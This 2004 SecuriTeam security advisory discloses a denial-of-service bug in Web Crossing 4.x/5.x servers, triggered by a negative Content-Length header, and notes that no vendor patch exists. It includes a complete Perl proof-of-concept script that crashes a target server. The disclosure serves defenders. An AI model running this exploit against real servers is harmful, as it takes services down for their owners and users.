

[NEWS] Web Crossing Denial Of Service

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-02/0032.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 02/12/04

To: list@securiteam.com

Date: 12 Feb 2004 12:28:35 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Web Crossing Denial Of Service

SUMMARY

" <<http://www.webcrossing.com/>> Web Crossing is the world's leading collaboration server platform, offering complete solutions including discussion groups/bulletin boards, integrated newsgroups and mailing lists, full email services, calendar services, real-time chats, live events and full web application programming features, complete cross-platform compatibility, and distributed/mirrored serving for ultimate scalability."

A denial-of-service condition occurs when sending the built-in web server a specially crafted HTTP post request.

DETAILS

Vulnerable Systems:

* Web Crossing versions 4.x/5.x

When performing an HTTP POST request to the Web Crossing built-in webserver with a very large 'Content-Length' header or containing a negative number, the server will encounter a set of instructions which lead to an integer-divide-by-zero problem, immediately crashing the server and denying any further service.

Securiteam: [NEWS] Web Crossing Denial Of Service

Exploit:

A proof-of-concept exploit code for the issue is presented here:

```
#####  
#!/usr/bin/perl -w  
#  
# Web Crossing 4.x\5.x Denial of Service Exploit  
# [ Bad 'Content-Length' Header Bug ]  
#  
# - by Peter Winter-Smith [peter4020@hotmail.com]  
  
use IO::Socket;  
  
if(!($ARGV[0]))  
{  
print "Usage: wxdos.pl < victim>\n";  
exit;  
}  
  
print "Web Crossing 4.x\5.x Denial of Service Exploit\n" .  
"\t[ Bad 'Content-Length' Header Bug ]\n" .  
"\t[peter4020@hotmail.com]\n\n";  
  
$victim = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$ARGV[0],  
PeerPort=>"80")  
or die "Unable to connect to $ARGV[0] on " .  
"port 80";  
  
$DoS = "POST / HTTP/1.1\r\n" .  
"Content-Length: -1\r\n\r\n";  
  
print $victim $DoS;  
  
print "[+] Evil request made to target server ... Waiting...\n";  
  
sleep(4);  
  
close($victim);  
  
print "[+] Done!\n";  
exit;  
#####
```

Vendor Status:

Although the Web Crossing's support staff was contacted, when the issue reached the development team all communications with the vendor ceased. There is no vendor supplied patch or new version and the only viable solution if possible is to filter out the offending header.

ADDITIONAL INFORMATION

Securiteam: [NEWS] Web Crossing Denial Of Service

The information has been provided by <mailto:peter4020@hotmail.com> Peter Winter-Smith.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.